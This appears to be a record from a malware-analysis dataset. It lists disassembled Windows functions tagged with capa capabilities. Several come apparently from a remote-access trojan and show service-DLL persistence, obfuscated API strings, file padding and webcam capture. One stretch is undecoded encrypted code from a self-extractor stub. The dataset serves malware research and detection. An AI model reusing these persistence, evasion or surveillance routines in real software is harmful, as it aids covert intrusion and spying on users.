joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10011c80
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 8]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x10021b5c]
xor edi, edi
push eax
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x10011c70
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [0x10021394]
mov dword [esp + 0x1c], eax
mov eax, dword [0x10021b5c]
push 0x7f8b
push eax
call dword [0x10021414]
push 2
mov dword [esp + 0x24], eax
call dword [0x10021378]
lea ecx, [esp + 8]
mov dword [esp + 0x24], eax
push ecx
mov dword [esp + 0x2c], 0x66
mov dword [esp + 0x30], str.WIN32_Application
call dword [0x10021390]
mov eax, dword [0x10021b5c]
push edi
push eax
push 0x66
push eax
call dword [0x1002138c]
push eax
push edi
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.My_Win32_Applaction
push str.WIN32_Application
push edi
call dword [0x10021424]
mov esi, dword [esp + 0x38]
push 0x104
mov edx, dword [esi]
push edx
push 0x10021de8
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x10021de8
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x10011c20
push 0x10021de8
call dword [0x1002131c]
push 1
push edi
push 2
mov dword [0x10021ca4], eax
call fcn.10011bc0
push edi
push edi
push 4
call fcn.10011bc0
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x10013200
push edi
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push edi
push 0x10012ac0
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x1001f928], eax
push edi
push edi
call fcn.10011980
add esp, 8
push 0x3e8
call esi
jmp 0x10011dc5

Function at 0x10011de0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10011e5f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x10011e4d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x10011e4d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x10011e1c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x10012140
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Djlbnm_MmurvrvqRp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Documents_and_SettingsTemp.log
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.10012060
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.100120c0
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [0x10021354]
push str._RqmbzdlDjn_p__NljoTEsq__ggd_ohd
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__NljoTEsq__ggd_ohd
push 2
push ebx
push str.ServiceDll
push eax
call dword [0x10021358]
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x1002136c]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.10012060
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.100120c0
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x10012890
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.10012600
test eax, eax
jne 0x1001289e
call fcn.10012140
call fcn.10012760
test eax, eax
jne 0x100128ac
jmp fcn.10012340
ret
Function at 0x100128b0
Capabilities:
Contain obfuscated stackstrings
Set file attributes

Disassembly:
sub esp, 0x440
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x6c
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x40], 0x6b
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x6c
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x46
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x454]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x64], eax
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10012aaa
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x4c], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebp, edx
test ebp, ebp
jle 0x10012a88
mov edx, edi
and edx, 0x800003ff
jns 0x10012a4c
dec edx
or edx, 0xfffffc00
inc edx
jne 0x10012a6d
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x4f], dl
jl 0x10012a50
lea edx, [esp + 0x4c]
push 0
push edx
lea eax, [esp + 0x58]
push 0x400
push eax
push ebx
call dword [esp + 0x5c]
inc edi
cmp edi, ebp
jl 0x10012a3a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1001fca8]
mov edx, dword [esp + 0x454]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x440
ret
Function at 0x10014000
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10009e2e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10011000
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x1001c23c
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [0x10021414]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x100140c7
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x1001c234
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x10014123
push 0x64
push 0
push 8
mov ecx, eax
call fcn.10016000
jmp 0x10014125
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x10014720
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.10003090
push ebx
push 0
push 0
push esi
push 0x10014790
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.10003090
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x10016470
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x20
push ebx
mov ebx, dword [esp + 0x28]
push ebp
push esi
push edi
xor edi, edi
cmp ebx, edi
mov esi, ecx
je 0x1001664a
cmp dword [esi + 0x1c], edi
je 0x1001664a
call fcn.10016b20
lea ebp, [esi + 4]
push 1
push ebp
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.10016900
lea eax, [esp + 0x14]
push eax
call dword [0x100213c0]
lea ecx, [esp + 0x14]
push 8
push ecx
mov ecx, esi
call fcn.10016900
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], 0x14
push edx
call dword [0x100213c4]
test eax, eax
je 0x1001652e
cmp dword [esp + 0x20], 1
jne 0x1001652e
mov ecx, dword [esp + 0x24]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x100164f3
inc edi
add eax, 4
cmp edi, 0x10
jl 0x100164e6
push str.User32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
push str.DestroyCursor
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [esp + 0x24]
push eax
call dword [0x100213c8]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp edi, 0x10
jne 0x10016526
or edi, 0xffffffff
mov ebx, dword [esp + 0x34]
mov eax, edi
jmp 0x10016531
or eax, 0xffffffff
lea ecx, [esp + 0x13]
push 1
push ecx
mov ecx, esi
mov byte [esp + 0x1b], al
call fcn.10016900
cmp byte [ebp], 2
jne 0x10016599
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x44]
mov edx, dword [eax + 8]
mov eax, dword [eax + 4]
push edx
mov edx, dword [esi + 0x80]
push eax
push ecx
push edx
mov ecx, esi
call fcn.10016b60
mov eax, dword [esi + 0x68]
mov edx, dword [esi + 0x20]
mov ecx, dword [eax + 0x14]
mov eax, dword [esi + 0x1c]
add edx, eax
mov eax, dword [esi + 0x60]
push ecx
mov ecx, dword [esi + 0x78]
push edx
push eax
push ecx
mov ecx, esi
call fcn.10016bd0
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebx], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
mov ebp, dword [esp + 0x18]
xor edx, edx
lea eax, [ebp - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x10021c74]
cmp ebp, eax
mov edi, edx
je 0x100165c6
push edi
mov ecx, esi
call fcn.10016660
test al, al
je 0x100165c6
add edi, 0x13
jmp 0x100165c9
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x100165e7
push edi
mov ecx, esi
call fcn.10016660
test al, al
je 0x100165dd
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x100165ce
mov eax, dword [esp + 0x18]
mov ecx, 0x13
mov dword [0x10021c74], eax
mov eax, dword [esi + 0x30]
add eax, 3
lea edi, [esi + 0x14]
cdq
idiv ecx
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebx], edx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x10016633
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x10016622
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret 4
Function at 0x10018000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x20]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x1001c254
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.user32.dll
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x10021c8c], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.10018250
test al, al
je 0x10018151
mov al, byte [0x10021c88]
test al, al
jne 0x10018151
mov edx, dword [0x10021c8c]
push str.CreateWindowExA
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x80000000
push 0x10021480
push str.32770
push ebx
call eax
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esi + 0x10], eax
call ebx
add esp, 4
push str.AVICAP32.dll
call edi
mov edi, eax
push str.capCreateCaptureWindowA
push edi
call ebp
mov ecx, dword [esi + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push str.CVideoCap
call eax
push 0x30
mov dword [esi + 0x14], eax
call ebx
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebx
sub esp, 0x44
mov eax, 0x401023
mov ecx, 0
mov bl, byte [eax]
add bl, 0xaa
mov byte [eax], bl
add eax, 1
add ecx, 1
cmp ecx, 0xd137
jne 0x40100e
rol dword [ecx], 0x81
stc
aaa
rol dword [eax], 1
add byte [ebp - 0x15], dh
push cs
push esi
push esi
xchg edi, eax
push esi
orps xmm2, xmmword [esi + 0x56]
push esi
loopne 0x40109d
salc
sbb dword [esi + ebx*8 + 0x5717d96e], ebp
fst dword [esi]
push edi
xlatb
dec edi
push ebp
jge 0x401095
push esi
retf
push esi
xchg si, ax
push esi
adc dword [ecx], ebx
sbb dword [ecx], ebx
sbb edi, ebx
outsb dx, byte [esi]
push cs
sub esi, dword [eax]
xchg esi, eax
push esi
fst dword [esi]
push esi
fstp dword [edx]
lcall 0x3e19, 0xb1192655
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
ucomiss xmm7, dword [ebp - 0x69]
push esi
aas
ror dword [ebx], 0x56
push esi
mov esi, 0x569666d4
test dword ds:[edi], ebx
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
jge 0x401019
push esi
aas
xor al, 0xfb
push esi
push esi
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
divps xmm7, xmmword [esi - 0x69]
xchg edi, eax
push esi
aas
xchg edi, eax
or edx, dword [esi + 0x56]
mov esi, 0x569666fe
pop ebx
pop ds
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
pop esi
jle 0x401043
invalid
push esi
aas
or bh, bl
push esi
push esi
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
fxsave [eax + 0x6d3f5697]
or edx, dword [esi + 0x56]
mov esi, 0x56966628
xor dword ds:[esi], ebx
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
scasb al, byte es:[edi]
adc byte [edi - 0x41fc0aa], 0x56
push esi
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
movhps xmm2, qword [edi + edx*4 + 0xa433f56]
push esi
push esi
xchg esp, eax
xchg edi, eax
push esi
aas
inc ebx
or dl, byte [esi + 0x56]
mov esi, 0x56966652
pop es
push ds
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
push ss
xchg esp, eax
xchg edi, eax
push esi
aas
mov dh, 0xfb
push esi
push esi
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
cmovbe edx, dword [edi + edx*4 + 0xa193f56]
push esi
push esi
mov esi, 0x5696677c
fstp qword ds:[esi]
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
inc esi
xchg esp, eax
xchg edi, eax
push esi
aas
xor al, byte [edx]
push esi
push esi
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
pcmpeqd mm2, qword [ebp - 0x10c0a969]
or dl, byte [esi + 0x56]
mov esi, 0x569667a6
mov bl, 0x1e
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
jbe 0x4010e8
xchg edi, eax
push esi
aas
invalid
Function at 0x4010a9
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x417420]
xor eax, ebp
mov dword [ebp + 0x74], eax
xor eax, eax
mov dword [0x419a00], eax
mov dword [0x419a04], eax
mov dword [0x419a08], eax
mov dword [0x419a0c], eax
mov dword [0x419a10], eax
mov dword [0x419a14], eax
mov dword [0x419a18], eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x401109
push 0x1ad
push str.sfxhead.c
call fcn.00402018
pop ecx
pop ecx
xor eax, eax
inc eax
cmp dword [ebp - 0x10], eax
jne 0x401129
cmp dword [ebp - 0x18], 0xa
jb 0x401166
cmp dword [ebp - 0x18], 0x5a
mov dword [0x419a00], eax
jb 0x401166
mov dword [0x419a04], eax
jmp 0x401166
cmp dword [ebp - 0x10], 2
jne 0x401166
cmp dword [ebp - 0x1c], 5
mov dword [0x419a08], eax
jb 0x401166
mov dword [0x419a0c], eax
jne 0x401156
cmp dword [ebp - 0x18], 2
jne 0x40114c
mov dword [0x419a10], eax
cmp dword [ebp - 0x18], eax
jb 0x401166
mov dword [0x419a14], eax
cmp dword [ebp - 0x1c], 6
jb 0x401166
mov dword [0x419a14], eax
mov dword [0x419a18], eax
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
call fcn.00408b96
add ebp, 0x78
leave
ret

Function at 0x401405
Capabilities:
Set current directory

Disassembly:
push esi
push edi
push dword [esp + 0xc]
call fcn.0040123f
pop ecx
push dword [esp + 0xc]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, eax
dec esi
neg esi
sbb esi, esi
neg esi
test edi, edi
je 0x401439
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.0040129b
pop ecx
pop ecx
pop edi
mov eax, esi
pop esi
ret

Function at 0x401563
Capabilities:
Query environment variable

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
ret

Function at 0x401576
Capabilities:
Hash data with crc32

Disassembly:
push esi
push 8
xor eax, eax
add ecx, ecx
pop esi
sar ecx, 1
mov edx, eax
xor edx, ecx
shr eax, 1
test dl, 1
je 0x401590
xor eax, 0xedb88320
dec esi
test esi, esi
jg 0x40157e
pop esi
ret

Function at 0x4015b3
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 8], 0
mov eax, dword [0x4189ac]
je 0x4015e3
mov ecx, dword [esp + 4]
push esi
movzx edx, byte [ecx]
dec dword [esp + 0xc]
movzx esi, al
xor edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x4185a8]
inc ecx
cmp dword [esp + 0xc], 0
jne 0x4015c4
pop esi
mov dword [0x4189ac], eax
ret
Function at 0x4017f9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 8], 0
push esi
mov esi, str.sfxhead.c
jne 0x401817
push 0xc61
push esi
call fcn.00402018
pop ecx
pop ecx
cmp dword [ebp + 0xc], 0
jg 0x40182a
push 0xc62
push esi
call fcn.00402018
pop ecx
pop ecx
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.00401379
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [0x419a48]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
pop esi
jge 0x401856
xor al, al
leave
ret
push dword [ebp - 4]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401716
add esp, 0xc
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [ebp - 8]
test eax, eax
je 0x40188a
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, 1
leave
ret